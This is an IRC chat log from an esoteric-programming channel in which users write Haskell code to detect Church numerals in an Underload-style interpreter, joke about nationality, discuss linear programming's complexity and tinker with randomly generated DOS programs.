23:26:53 -!- elliott has joined.
23:26:58 <elliott> <elliott> oerjan: well yes. feel free to write the [Op] -> Maybe Integer for that
23:27:00 <elliott> <oerjan> ...i suppose you don't want that | | directly in there
23:27:02 <elliott> <elliott> (Dup, Cat, Drop, and Push (Quote []) are the relevant things there)
23:27:18 <oerjan> elliott: erm i'd imagine [Op] -> [Op] might be better, then you can apply it to concatenations
23:27:25 <Gregor> I think my soda needs gum arabic.
23:27:28 <elliott> oerjan: it's done at parse-time
23:27:35 <elliott> obj :: [Op] -> Obj
23:27:35 <elliott> obj q =
23:27:35 <elliott> case church q of
23:27:35 <elliott> Just n -> Church n (Quote q)
23:27:35 <elliott> Nothing -> Quote q -- be dumb for now
23:27:44 <elliott> so there are no concatenations
23:27:49 <oerjan> elliott: oh.
23:27:49 <elliott> it's just to recognise a literal
23:27:50 -!- Sgeo has joined.
23:28:13 <oerjan> elliott: well you would also want to recognize applying something like (:)~(*)**
23:28:36 <oerjan> well might
23:28:37 -!- elliott has quit (Read error: Connection reset by peer).
23:28:56 -!- elliott has joined.
23:28:59 <elliott> <oerjan> elliott: well you would also want to recognize applying something like (:)~(*)**
23:29:04 <elliott> oerjan: yes, i would, but right now i don't
23:29:16 <elliott> oerjan: anyway i can easily port it, i just don't feel like writing it myself >:D
23:29:20 <elliott> you might also want to handle :!
23:29:45 <Sgeo> elliott, is lack of decent lambdas a valid reason to dislike a language?
23:29:52 <Gregor> Sgeo: Yes.
23:30:21 <Sgeo> I'm starting to feel ill when I think of Python's not so well equipped lambda keyword, and no other anonymous functions
23:30:21 <elliott> Gregor: Thank you for handling today's Sgeo self-validating-question of the day.
23:30:28 <elliott> Or today's day of the day. Of the day.
23:30:39 <elliott> Gay of the day.
23:30:42 <elliott> Day of the gay.
23:30:55 <Sgeo> On a related note, Facebook thinks I'm gay.
23:31:49 <Zwaarddijk> facebook thinks I'm single.
23:31:51 <elliott> 15:30:21 <Sgeo> I'm starting to feel ill when I think of Python's not so well equipped lambda keyword, and no other anonymous functions
23:31:52 <elliott> Ill.
23:32:02 <Zwaarddijk> and it knows I'm not.
23:32:03 <elliott> Either Sgeo has no idea what ill means, or has serious issues.
23:32:09 <elliott> Zwaarddijk: WHERE DID YOU COME FROM
23:32:24 <Zwaarddijk> elliott: it is a mystery
23:32:27 <Sgeo> elliott, or I use words weirdly somewhens.
23:32:37 <elliott> oh another finn. sheesh.
23:32:42 <elliott> we're over our finn quota.
23:32:45 <Zwaarddijk> been here for some time already
23:32:53 <Zwaarddijk> you should've had time to react already
23:33:01 <oerjan> Zwaarddijk cannot be a finn, no finn could pronounce that.
23:33:27 <Zwaarddijk> well, I belong to this quaint thing we have in Europe
23:33:30 <Zwaarddijk> ethnical minorities
23:33:32 <elliott> Nazism?
23:33:33 <elliott> Oh.
23:33:39 <oerjan> Zwaarddijk: we rarely react to non-speaking lurkers here
23:33:52 <elliott> "ethnical", YOU ALSO BELONG TO THE NON-ENGLISH-SPEAKING MINORITY TOO</horrible and offensive>
23:33:56 <elliott> oerjan: i may have interrogated him before
23:33:56 <elliott> dunno
23:34:07 <Zwaarddijk> oh, right, ethnic.
23:34:09 <elliott> nope, seemingly not
23:34:11 <oerjan> elliott: ok. that may explain why he prefers to be silent.
23:34:14 <Zwaarddijk> so I'm basically this kind of Swede.
23:34:16 <Zwaarddijk> in Finland.
23:34:19 -!- pikhq_ has changed nick to pikhq.
23:34:29 <Zwaarddijk> anyways, uh, ... sure, I will maybe sort of butt in on occasion
23:34:37 <elliott> Zwaarddijk: i think the patriotic hate oerjan has for you may surpass all previous known hates.
23:34:42 <elliott> (note: oerjan not known to possess patriotic hate)
23:34:58 <oerjan> very well-hidden secret, that.
23:34:59 <Zwaarddijk> I'm not really so much into esoteric languages (except intercal and some other classic ones)
23:35:20 <elliott> Zwaarddijk: surely you like underload.
23:35:22 <elliott> it's a pearl!
23:35:22 <Zwaarddijk> but ... uh, I'm sort of catching up on complexity theory currently
23:35:31 <elliott> to be honest we hate most esolangs too :D
23:35:43 <elliott> although most of /my/ hate is reserved for brainfuck derivatives.
23:35:48 <elliott> anything is better than another brainfuck derivative.
23:36:04 <pikhq> Hooray, really-overdone-concepts.
23:36:25 <pikhq> Not that I'm one to talk — I've got a Brainfuck derivative to my name, after all.
23:36:32 <elliott> YEAH, AND WE'RE GOING TO KILL YOU ONE OF THESE DAYS
23:36:45 <elliott> all in favour say aye. or nay.
23:36:51 <Zwaarddijk> I would like to make a lang some day with comefrom, where comefrom mostly takes variables corresponding to line numbers
23:36:52 <pikhq> Nay
23:36:58 <oerjan> dammit now my mind ponders what kind of brainfuck derivative elliott would _not_ hate. it suggests continuations.
23:37:06 <Zwaarddijk> so as variables change values,
23:37:06 -!- FireFly has quit (Quit: swatted to death).
23:37:15 <Zwaarddijk> the flow of the program changes
23:37:21 <elliott> Zwaarddijk: that's computed come from, I think.
23:37:22 <Zwaarddijk> but that's not particularly difficult
23:37:23 <elliott> or close, anyway.
23:37:28 <Zwaarddijk> yeah I bet it exists already
23:37:30 <elliott> oerjan: heck /I/ have a brainfuck derivative to my name. it's boring
23:37:40 <elliott> Zwaarddijk: (computed come from = intercal extension)
23:37:43 <elliott> oerjan: actually pikhq's dimensifuck is quite nice.
23:37:49 <elliott> if a bit overly silly.
23:38:08 <Zwaarddijk> but it's just, as we say in Swedish, getting my thumb out of my butt and getting around to writing it that's the problem
23:38:23 <elliott> do swedes spend a majority of their time with their thumbs in their butts?
23:38:26 <elliott> interesting. oerjan: take notes.
23:38:37 <Zwaarddijk> I figure the kind of swedes that live in sweden really do?
23:38:42 <oerjan> elliott: actually it's a norwegian expression too
23:38:46 <Zwaarddijk> us non-proper swedes maybe don't?
23:38:51 <elliott> Zwaarddijk: yeah you're a fake swede
23:38:52 <Zwaarddijk> actually we don't
23:38:57 <elliott> oerjan: DON'T LET THAT GET IN THE WAY OF AN ANTI-SWEDISH JOKE
23:38:58 <Zwaarddijk> we've just inherited the expression
23:39:06 <elliott> Zwaarddijk: as fake as Linus Torvalds.
23:39:08 <Zwaarddijk> oh, we hate proper Swedes too.
23:39:17 <Zwaarddijk> Finns cry when Swedes win in sports.
23:39:21 <Zwaarddijk> F-Swedes commit suicide.
23:39:24 <pikhq> My Norwegian heritage is forcing me to take notes as well. And the Englishman in me disapproves, as this is not tea.
23:39:27 <elliott> Fwedes
23:39:34 <elliott> haha worst word ever.
23:39:44 <Zwaarddijk> yeah, well, Finlandsswede is kind of awkwardly big
23:39:46 <elliott> oerjan: WRITTEN THE FUNCTION YET
23:39:47 <Zwaarddijk> as far as words go
23:39:49 <Gregor> <Zwaarddijk> so I'm basically this kind of Swede. <Zwaarddijk> in Finland. // So you're Linus Torvalds!
23:39:55 <elliott> Gregor: ALREADY DID THAT ONE
23:39:58 <elliott> PLEASE TRY AND KEEP UP
23:40:01 <elliott> *TRY TO
23:40:05 <Gregor> elliott: I REFUSE
23:40:11 <elliott> Zwaarddijk: so how do you pronounce your name. "john"?
23:40:16 <Zwaarddijk> elliott: yes.
23:40:23 <pikhq> Gregor: Torvalds is now an American, anyways.
23:40:23 <Gregor> X-D
23:40:25 <oerjan> elliott: er..
23:40:32 <elliott> Zw -- j; aar -- o; ddijk -- i got nothin'
23:40:39 <Gregor> pikhq: "American" is boring
23:40:53 <Zwaarddijk> it's really a translation-by-cognate (instead of translation-by-meaning) of my Finnish surname into Dutch ...
23:41:00 <Zwaarddijk> dunno why I use it, I guess it looks cool?
23:41:07 <elliott> to pose as a dane, obviously
23:41:09 <elliott> you SNEAKY RASCAL
23:41:22 <Zwaarddijk> anyways, uh, I actually have the papers somewhere on how I'm related to Linus Torvalds
23:41:42 <elliott> That's kind of creepy X-D
23:41:47 <oerjan> ah that's nice i can create an empty haskell script while _in_ winghci's loading menu
23:41:47 <pikhq> Zwaarddijk: Eh, everyone native to Europe is probably interrelated by now.
23:41:57 <Zwaarddijk> a friend of mine that studied how everyone in my village is related to each other and to the rest of us Swedish Finns picked him to demonstrate how far his records go
23:42:10 <Zwaarddijk> the closest "even" cousinhood is like ... a shared ancestor 12 generations back
23:42:12 <elliott> oerjan: the height of modern convenience!
23:42:24 <elliott> Zwaarddijk: so basically you're DIRTY DIRTY INBREEDERS.
23:42:24 <pikhq> If nothing else, there's Attila as a common ancestor for, oh, almost everyone.
23:42:26 <Zwaarddijk> but there's common ancestors way closer.
23:42:31 <elliott> in britain we relegate all the inbreeding to the one family nobody cares about
23:42:32 <elliott> that's right
23:42:35 <elliott> royalty
23:42:41 <Zwaarddijk> yeah well
23:42:48 <Zwaarddijk> I am from a village in an archipelago
23:42:55 <oerjan> elliott: i had been annoyed by how i needed to create the file outside win{hugs,ghci} before
23:42:57 <Zwaarddijk> even looking at the girls there cause inbreeding
23:43:18 <elliott> `addquote <Zwaarddijk> yeah well <Zwaarddijk> I am from a village in an archipelago <Zwaarddijk> even looking at the girls there cause inbreeding
23:43:24 <pikhq> elliott: Here in America, inbreeding is a family pastime!
23:43:24 <Zwaarddijk> anyone whose partner is from the same archipelago is playing russian rulette with genetics
23:43:29 <pikhq> (more so historically)
23:43:54 <Zwaarddijk> I am happy to only be a halfbreed
23:43:57 <elliott> oerjan: WRITTEN CHURCH YET
23:44:01 <Zwaarddijk> (my dad is a proper Finn)
23:44:06 <elliott> Zwaarddijk: THAT EXPLAINS YOUR SIMPLISTIC SWEDISH MIND
23:44:18 <elliott> ;D
23:44:21 <HackEgo> 319) <Zwaarddijk> yeah well <Zwaarddijk> I am from a village in an archipelago <Zwaarddijk> even looking at the girls there cause inbreeding
23:44:25 <Zwaarddijk> :)
23:44:52 <pikhq> Zwaarddijk: You know full well that you're seriously going to have a familiar relation with just about everyone on the continent by now, anyways.
23:44:59 <pikhq> Erm, familial.
23:44:59 <Zwaarddijk> yeah.
23:45:07 <elliott> one of these days oerjan will ban me and the channel will be peaceful.
23:45:12 <elliott> until then!
23:45:16 <Gregor> HINT: You have a familial relation with every tree in Europe.
23:45:19 <Gregor> Also, every other tree.
23:45:21 <Gregor> Also, every other living thing.
23:45:36 <Zwaarddijk> but, uhm, I prefer girls for whom the sum of the ways we're related isn't so much equivalent to being siblings
23:45:40 <pikhq> Gregor: Okay, if we go far back enough, yes.
23:45:50 <Zwaarddijk> that's why I've moved far away from that archipelago
23:45:51 <elliott> Gregor: Wait, wasn't Adam kinda romping around with his daughter.
23:45:54 <elliott> His... rib's... daughter...
23:46:09 <Gregor> elliott: Naw, Adam just fucked a tree.
23:46:14 <Gregor> elliott: Hence the relation.
23:46:14 <elliott> I THINK THIS MAKES GENESIS MUCH BETTER GUYS
23:46:19 <elliott> Family graph
23:46:25 <elliott> (Not directed, not acyclic)
23:46:29 <pikhq> elliott: Technically not the rib. Most likely the baculum.
23:46:48 <elliott> THAT BASTARD DEPRIVED US OF BACULA
23:46:57 <pikhq> (which humans are unique among primates for lacking)
23:47:06 <elliott> [["...a rib..." (Genesis 2:21–24) - Hebrew tsela` can mean side, chamber, rib, or beam. The traditional reading of "rib" has been questioned recently by feminist theologians who suggest it should instead be rendered as "side," supporting the idea that woman is man's equal and not his subordinate.[4] Others have suggested that the "rib" was in fact the baculum. This suggestion is consistent with the observations that men and women have the same
23:47:06 <elliott> number of ribs, and humans (unlike most mammals) lack a baculum.[5]]]
23:47:11 <elliott> pikhq: I find that reasoning unlikely.
23:47:24 <elliott> "Obviously the authors of the Bible would never get any SCIENCE wrong, so clearly they meant baculum since the rib stuff is false."
23:47:50 <pikhq> elliott: I'm pretty sure the ancient Jews would have at least noticed that most other animals have one.
23:47:50 <Zwaarddijk> I think I'm happy without a baculum
23:48:04 <elliott> But it makes the term "boner" TOTALLY MISLEADING
23:48:21 <Zwaarddijk> otoh, it's possible I'll regret that the day my juvenile diabetes deprives me of virility
23:48:39 <elliott> I like the idea of diabetes being really juvenile.
23:48:48 <Zwaarddijk> yeah, it's terrible
23:48:50 <pikhq> Zwaarddijk: Hooray, selecting for capability to have high blood pressure.
23:48:52 <Zwaarddijk> won't clean its room
23:49:23 <Zwaarddijk> anyways, complexity theory.
23:49:40 <Zwaarddijk> what the fuck is up with linear programming being in P
23:49:42 <elliott> ask oerjan, he's the only one who actually knows anything here ;D
23:49:43 <Zwaarddijk> yet the solution in P is terrible
23:49:56 <Zwaarddijk> so we use an exponential solution instead
23:50:11 <elliott> Zwaarddijk: today you learned that P does not mean fast.
23:50:18 <elliott> CONGRATULATION
23:50:21 <Zwaarddijk> oh, I've known that since forever
23:50:22 <Zwaarddijk> but like
23:50:32 <pikhq> Though NP does mean slow. :P
23:50:35 <Zwaarddijk> it's weird that the solution in P on average
23:50:43 <Zwaarddijk> is worse than a solution in EXP
23:50:47 <elliott> Zwaarddijk: surely it's better for large enough inputs
23:50:54 <Zwaarddijk> no, it's proven that
23:50:58 <Zwaarddijk> the solution in EXP
23:51:02 <Zwaarddijk> is really good on average
23:51:10 <elliott> how odd
23:51:14 -!- BeholdMyGlory has quit (Remote host closed the connection).
23:51:16 <elliott> is it like n^1.0000000000001? :P
23:51:24 <Zwaarddijk> well, no, since
23:51:35 <Zwaarddijk> normally, P, NP etc tell us of worst case things
23:51:37 <pikhq> n^-1 is exponential, y'know.
23:51:51 <Zwaarddijk> and the worst case is pretty terrible
23:51:56 <Zwaarddijk> yet the average is real good.
23:51:56 <elliott> pikhq: :D
23:52:01 <elliott> best exponential algorithm ever
23:52:08 <elliott> Zwaarddijk: ah, right
23:52:14 <elliott> I thought you meant exponential average case
23:52:16 <pikhq> "Give it more input, we need it to go faster!"
23:52:18 <elliott> which ofc made no sense
23:52:27 -!- cheater- has joined.
23:52:33 <elliott> pikhq: like PH's hawking thing
23:52:39 <Zwaarddijk> however, some take this as proof that
23:52:51 <Zwaarddijk> or rather an indication
23:53:05 <elliott> oerjan: WRITTEN IT YET
23:53:09 <Zwaarddijk> that reasonably solvable => in P, even tho it doesn't mean that the reasonable solution is in P
23:53:32 <Zwaarddijk> which is weird.
23:53:47 <Zwaarddijk> scary shit.
23:53:54 <pikhq> ...
23:54:10 <pikhq> 50-to-life is considered "not cruel and unusual punishment" for shoplifting.
23:54:17 <elliott> xD
23:54:19 -!- iconmaster has quit (Ping timeout: 268 seconds).
23:54:45 <Zwaarddijk> pikhq: did you read of that judge who sentenced a 17-yo to 3 months in a correctional facility for being friends with a shoplifter?
23:55:13 <elliott> oerjan: WRIIIITTEN IT YET
23:55:16 -!- cheater00 has quit (Ping timeout: 240 seconds).
23:55:21 <elliott> Zwaarddijk: ouch, what country
23:55:28 <pikhq> Almost certainly the US.
23:55:43 <Zwaarddijk> the US
23:56:03 <pikhq> Because "tough on crime" means "so tough that we create criminals".
23:56:03 -!- elliott has quit (Read error: Connection reset by peer).
23:56:08 <Zwaarddijk> http://www.ibtimes.com/articles/112308/20110214/kids-for-cash-trial-former-pa-judge-ciavarella-claims-money-was-finder-s-fee.htm
23:56:14 <Gregor> Did you ever read the news story about the country that is so major in international affairs that anything bad that happens there gets projected into world news, thereby making it look much worse than it actually is?
23:56:21 <Zwaarddijk> there's a not as well written, but quicker article here:
23:56:22 <coppro> 0/win 27
23:56:25 -!- elliott has joined.
23:56:34 <Zwaarddijk> http://www.google.com/hostednews/ap/article/ALeqM5gkvHQieDR9euNIulBy-6HrNpOjLQ?docId=863f02b89f824c0296cdbbcf8a539bbf
23:56:37 <Zwaarddijk> basically
23:56:45 <Zwaarddijk> he's been bought by the company that owns the prisons
23:56:48 <elliott> <elliott> well WHO LIVES THERE ANYWAY
23:56:49 <Zwaarddijk> and there's like
23:56:56 <pikhq> Gregor: It's actually pretty well-estabilished that our penal system is significantly out of whack.
23:56:57 <elliott> Zwaarddijk: yay capitalism!
23:56:58 <Zwaarddijk> 1500-2000 sentences where the kids did not get
23:56:59 <elliott> yay privatisation!
23:57:09 <Zwaarddijk> the legal advisor that they're entitled to
23:57:10 <Zwaarddijk> etc
23:57:16 <Zwaarddijk> some cases have lead to suicide
23:57:17 <elliott> 15:56:14 <Gregor> Did you ever read the news story about the country that is so major in international affairs that anything bad that happens there gets projected into world news, thereby making it look much worse than it actually is?
23:57:24 <elliott> Gregor: :bitter American refuses to admit his country is shit:
23:58:02 <pikhq> Gregor: We give significantly longer sentences for crimes, have a prison system that has a very high redactivism rate, and we're one of a handful of countries to allow the death penalty at all.
23:58:06 <Zwaarddijk> actually, this news hasn't been
23:58:09 <Zwaarddijk> aired much in America
23:58:15 <pikhq> Gregor: Also, we have private. Fucking. Prisons.
23:58:22 <oerjan> Zwaarddijk: "For every polynomial algorithm you have, I have an exponential algorithm that I would rather run." -- Alan Perlis
23:58:27 <Gregor> Private fucking prisons? Best kind of prison!
23:58:29 <Zwaarddijk> oerjan: obviously.
23:58:38 <pikhq> And at least some documented cases of judges getting kickbacks for sending people to them.
23:58:40 <oerjan> (via http://rjlipton.wordpress.com/2009/07/03/is-pnp-an-ill-posed-problem/)
23:58:52 <elliott> Best kind of fucking prison!
23:58:55 <Zwaarddijk> yes, Lipton's book is good.
23:58:57 <elliott> The public ones just don't give you any privacy.
23:59:05 <pikhq> elliott: No no no, the public ones are an orgy.
23:59:06 -!- elliott has quit (Read error: Connection reset by peer).
23:59:22 -!- elliott has joined.
23:59:26 <elliott> u u
23:59:29 <elliott> u u
23:59:31 <elliott> u u
23:59:36 <elliott> uuuuuuuuuu
23:59:47 <elliott> that's letter two
2011-02-22
00:01:07 <elliott> i have this crazy feeling that oerjan won't write my function for me
00:01:51 <oerjan> elliott: i just wrote the first line of the actual function
00:02:05 <oerjan> church ops@(Dup:_) = (1, [], ops)
00:02:17 * oerjan cackles evilly
00:02:29 <elliott> oerjan: good to know someone is handling the easy bits :P
00:02:53 <elliott> oerjan: aw c'mon, i'm writing this for YOUU :D
00:02:56 <elliott> (guilt works right?)
00:03:01 <oerjan> YEAH I'M GOOD AT THE EASY BITS
00:03:13 <elliott> just one teeny weeny function!
00:03:25 <oerjan> oh wait that first line was wrong XD
00:03:30 <oerjan> (should be Cat)
00:04:03 -!- augur has joined.
00:04:21 <elliott> sheesh oerjan, all this work for you
00:04:25 <elliott> AND WHAT DO I GET
00:04:28 <elliott> ;;;;''''(((
00:04:32 <elliott> piling on the guilt here
00:05:11 <elliott> i think i might have disabled oerjan
00:07:24 <elliott> oerjan: FINE THEN, I'LL TOTALLY PUSH THIS UUUUSELESS THING TO IRC
00:08:05 <oerjan> i'm not sure of this strange belief elliott has that i can program fast...
00:08:15 <elliott> oerjan: oh i wasn't aware you were actually writing the other lines :D
00:08:22 <elliott> i thought i had to coerce you into agreeing to do it first
00:10:51 <elliott> :t (<+>)
00:10:52 <lambdabot> Ambiguous occurrence `<+>'
00:10:52 <lambdabot> It could refer to either `Control.Arrow.<+>', imported from Control.Arrow at State/L.hs:5:0-19
00:10:52 <lambdabot> or `Text.PrettyPrint.HughesPJ.<+>', imported from Text.PrettyPrint.HughesPJ at State/L.hs:53:0-46
00:10:58 -!- iconmaster has joined.
00:11:11 -!- zzo38 has quit (Ping timeout: 272 seconds).
00:12:10 * iconmaster is having fun with a random EXE code generator- Most just crash, but some...
00:12:47 <elliott> iconmaster: heh
00:12:51 <elliott> .COM might have better results
00:12:57 <elliott> since it is just direct machine code
00:13:20 <iconmaster> ok! Lets se how bad I can screw up my computer!
00:13:22 <elliott> you might want to restrict the generated bytes to the valid x86 instructions plus register addresses (of course this restricts the constant literals in there too, but that might be interesting...)
00:13:32 <elliott> iconmaster: do it in dosbox :P
00:13:41 <iconmaster> Good idea.
00:14:17 <elliott> hm i think it is possible to do monads nicely in a concatenative language...
00:14:34 <elliott> if do is "() return" and ";" is >>, then we have...
00:14:40 <elliott> ... do
00:14:44 <elliott> "hello, world!" print ;
00:14:47 <elliott> "foo, bar!" print ;
00:15:02 <elliott> what about >>=...
00:15:03 <elliott> oh wait
00:15:09 <elliott> you just want that to push on to the stack, i suppose
00:15:11 <elliott> using continuations, perhaps
00:15:24 <elliott> getLine ->; print ;
00:15:32 <iconmaster> One of my random progams 'bounces' the pointer across the screen. For some reason, pressing keys speed up this process.
00:15:47 <elliott> iconmaster: as in, mouse pointer??
00:15:56 <iconmaster> No, the DOS cursor
00:16:02 <elliott> iconmaster: that's cool
00:16:05 <elliott> upload it somewhere
00:16:10 <elliott> maybe we can disassemble it and uncover its secrets :P
00:16:14 <iconmaster> Yep, I am
00:16:41 <iconmaster> But, where? Know any good file uplading sites I could use?
00:17:03 <elliott> ; : Monad m => ('a 'm 'b 'm -> 'b 'm)
00:17:07 <elliott> to use the cat syntax
00:17:16 <elliott> iconmaster: filebin.ca was good when it still existed ... how long is the file?
00:17:47 <iconmaster> 643 bytes, apparently.
00:18:00 <elliott> iconmaster: probably you could just uuencode it
00:18:12 <iconmaster> thats a good idea
00:18:18 <elliott> iconmaster: and put it on a pastebin
00:18:21 <elliott> sprunge.us say :P
00:18:26 <elliott> http://www.bastet.com/uue.zip is apparently a uuencoder for windows
00:18:29 <iconmaster> k going to now
00:18:53 <iconmaster> Wow, thanks guys! Let's find it's secrets!
00:19:24 <elliott> hey everybody else has been conspicuously silent, maybe I'm the only one who's interested >:D
00:19:26 <elliott> fear the worst!
00:19:46 <Zwaarddijk> i am reading with some interesting
00:19:49 <Zwaarddijk> *some interest
00:19:54 <Zwaarddijk> meh, muscle memory :|
00:22:32 <iconmaster> http://pastebin.com/nwwY8YTr
00:23:02 <iconmaster> That good?
00:23:39 <elliott> well pastebin.com still uses html for its raw page. but copying manually should work.
00:24:10 <iconmaster> ok thanks. Now, lemme fid some other interesting programs
00:24:24 <elliott> ---------------------------------------------------------^M
00:24:24 <elliott> --^M
00:24:24 <elliott> -- BF Joust Program Conversion Tool^M
00:24:24 <elliott> -- Converts BF Joust programs into IconJoust format.^M
00:24:24 <elliott> -- Made by Joshua Robbins^M
00:24:25 <elliott> --^M
00:24:27 <elliott> ---------------------------------------------------------^M
00:24:29 <elliott> iconmaster: FAIL
00:24:32 -!- MUILTFN_ has quit (Ping timeout: 240 seconds).
00:24:39 <elliott> try uploading the right file next time ;D
00:24:55 <iconmaster> The random EXE maker doesnt actually make them RANDOMLY.... lol
00:25:10 <Zwaarddijk> iconmaster: if you want, I can host them on infa.fi
00:25:15 <iconmaster> That is the file... put it in exe format.
00:25:33 <iconmaster> That would be very nice. Mind taking IconJoust?
00:25:38 <Zwaarddijk> if so, I'd prefer for you to dcc them to me
00:25:56 <elliott> <iconmaster> That is the file... put it in exe format.
00:25:57 <elliott> Umm.
00:26:03 <elliott> No, I decoded it, it's a BF Joust program conversion tool.
00:26:24 <iconmaster> I know. It WAS a lua script, now its an exe.
00:26:31 <elliott> Oh.
00:26:47 <elliott> wine doesn't accept it as it's an invalid exe
00:26:49 <elliott> (doesn't have the right header)
00:26:53 <elliott> what do you mean by "exe format"?
00:27:17 <iconmaster> Basically, i copied 'convert.lua' to 'conver.exe'
00:27:23 <iconmaster> *convert.exe
00:27:50 <oerjan> newtype Quote = Quote [Op]
00:27:50 <oerjan> data Op = Dup | Cat | Drop | Push Quote | SomethingElse
00:27:55 <iconmaster> Smart of me. (No, Fail!)
00:27:57 <elliott> iconmaster: it shouldn't even run, I don't think
00:28:00 <oerjan> elliott: is that compatible with what you have?
00:28:03 <iconmaster> It does on my comp
00:28:03 <elliott> it lacks the MZ header
00:28:18 <elliott> oerjan: s/newtype Quote/data Obj/
00:28:24 <elliott> oerjan: also SomethingElse isn't there
00:28:25 <elliott> obviously
00:28:31 <elliott> is that the same as invalid code? or just "anything else" in your model
00:28:40 <elliott> oerjan: oh and s/Push Quote/Push Obj/
00:28:41 <oerjan> elliott: well i just put that to ensure i included a catch-all option
00:28:46 <elliott> right
00:28:52 <iconmaster> lol. Invalid programs make interesting results.
00:29:02 <elliott> oerjan: note that the argument to Push is an Obj and can be other things than a Quote
00:29:04 <elliott> for instance a Church
00:29:10 <elliott> data Obj = Church Integer Obj -- Obj is for printing
00:29:10 <elliott> | Quote [Op]
00:29:10 <elliott> | Catn Obj Obj
00:29:10 <elliott> | Rept Integer Obj -- FIXME: Use for more things
00:29:10 <elliott> deriving (Show)
00:29:46 <iconmaster> The Insert key seems to speed lol.exe up the most. Other keys speed up lol.exe to a lesser degree.
00:30:04 <oerjan> elliott: ok but this is during parsing stage. may i assume church has already been run when creating that Obj?
00:30:25 <elliott> oerjan: er. your function _is_ church. but yes, your input will only ever contain (Quote) objects.
00:30:29 <oerjan> which means i should really look for Push (Church _), not Push (Quote _)
00:30:33 <elliott> oerjan: oh right
00:30:34 <elliott> yes
00:30:36 <elliott> it is done recursively
00:30:48 <elliott> i.e., in (...(...)...), when church gets the outer () pair, the inner pair will have been churched already.
00:30:55 <oerjan> good
00:31:03 <elliott> oerjan: (Church _ _)
00:31:08 <elliott> oerjan: the second argument is the actual original quote
00:31:11 <elliott> which is important
00:31:25 <elliott> (to concatenate two Objs, use the cat function)
00:31:44 <oerjan> i don't think i will concatenate Obj's
00:31:52 <oerjan> just [Op]'s
00:32:08 <elliott> oerjan: you shouldn't really do that. cat is more efficient, in theory
00:32:17 <elliott> but whatever, i'll see it before i comment
00:32:18 <Gregor> Pot of boiling peppermint extract and water: Great way to BURN THE HELL OUT OF YOUR EYES
00:32:26 <elliott> (because cat makes decisions as to what kind of concatenation to do)
00:32:28 <oerjan> elliott: i am not _returning_ an Obj
00:32:33 <elliott> oerjan: right.
00:32:39 <oerjan> and i won't be changing anything inside a Push
00:32:58 <oerjan> just checking if it's a church numeral
00:34:29 <elliott> oerjan: of course note that this function must return the actual /value/ of the numeral
00:34:34 <elliott> not just check it
00:34:43 <oerjan> church :: [Op] -> (Integer, [Op], [Op])
00:34:46 <oerjan> at this time
00:34:50 <elliott> right
00:37:28 <oerjan> oh wait i also need to check for ()
00:37:53 <oerjan> and what's more, not for every Church 1 _
00:38:37 <elliott> oerjan: () will always be parsed as Church 1 (Push (Quote []))
00:38:38 <elliott> if that helps
00:38:42 <oerjan> elliott: () will become Push (Churc ... right
00:38:44 <elliott> (i am considering making a separate Nil, though)
00:38:48 <elliott> (but don't worry about that)
00:39:28 <oerjan> um don't you mean Push (Church 1 (Quote []))
00:39:51 * oerjan assumes so
00:39:58 <elliott> oerjan: no
00:40:00 <elliott> er
00:40:02 <elliott> well, right
00:40:04 <elliott> inside an [Op]
00:42:07 * iconmaster is sad- no other random program does cool stuff. Oh well.
00:43:52 <elliott> oerjan: do you handle ":!"? :D
00:43:57 <elliott> I think subtraction produces that or something
00:44:15 * elliott will have to figure out when to try and convert things to church numerals. maybe whenever you call them?
00:44:39 <elliott> oerjan: btw it _might_ be useful if you took an Obj instead...
00:44:40 <elliott> >_>
00:44:50 <elliott> and with that, I've ensured oerjan hates me
00:48:41 <oerjan> argh
00:50:03 <elliott> oerjan: you can just make it [Op] if you want to keep your sanity
00:50:14 <elliott> and i can bug you about it another day ;D
00:50:53 <oerjan> i am doing a lot of "parse this, then whatever follows, then combine"
00:51:01 <oerjan> lists are _useful_ for that
00:51:07 <elliott> oerjan: that's what everyone who writes a parser manually in haskell ends up with :P
00:51:23 <elliott> oerjan: also, yes, it's fine; it's just that this way, I can't use your function to detect church numerals _created_ by the program
00:51:27 <elliott> which is a bit of a problem
00:51:35 <oerjan> elliott: what's your ^ constructor? i want to handle (numeral)^
00:51:50 <elliott> data Op = Swap
00:51:51 <elliott> | Dup
00:51:51 <elliott> | Drop
00:51:51 <elliott> | Cat
00:51:51 <elliott> | Push Obj
00:51:51 <elliott> | Wrap
00:51:53 <elliott> | Call
00:51:55 <elliott> | Print
00:51:57 <elliott> | Invalid String
00:51:59 <elliott> deriving (Show)
00:52:01 <elliott> data Obj = Church Integer Obj -- Obj is for printing
00:52:03 <elliott> | Quote [Op]
00:52:05 <elliott> | Catn Obj Obj
00:52:09 <elliott> | Rept Integer Obj -- FIXME: Use for more things
00:52:11 <elliott> deriving (Show)
00:52:13 <elliott> YOU'RE WELCOME :P
00:58:36 <oerjan> break
00:59:03 <elliott> verily
01:07:02 -!- Mathnerd314 has joined.
01:07:02 -!- elliott has quit (Read error: Connection reset by peer).
01:07:20 -!- elliott has joined.
01:07:53 <elliott> oerjan's breaks are way too long, i should consider firing him
01:11:34 <Mathnerd314> since when was he hired?
01:12:13 <elliott> since he was born
01:12:17 <elliott> contract for life
01:12:27 <Mathnerd314> I thought slavery was illegal
01:14:16 <elliott> Mathnerd314: not in elliottia.
01:15:59 <iconmaster> I gtg. An idea before I leave- How about a compititave version of Underload!
01:16:02 -!- iconmaster has quit (Quit: Yummy, like ircing on a cake! [ http://www.bersirc.org/ - Open Source IRC ]).
01:17:44 <elliott> compitatave. INTERESTING!
01:18:02 <elliott> $ ./relief '(:::::::):(:((^:()~((:)*~^)a~*^!!()~^))~*()~^^)~(^a(*~^)*a~*()~^!()~^)a~**^!!^S'
01:18:02 <elliott> relief: out of stack (church 1)
01:18:03 <elliott> WHOOPS.
01:26:11 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
01:31:16 <elliott> Church 0 (Quote [Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,Dup,Cat,
01:31:17 <elliott> NOT QUITE.
01:31:55 <elliott> oh, I think I parse () as 0, heh
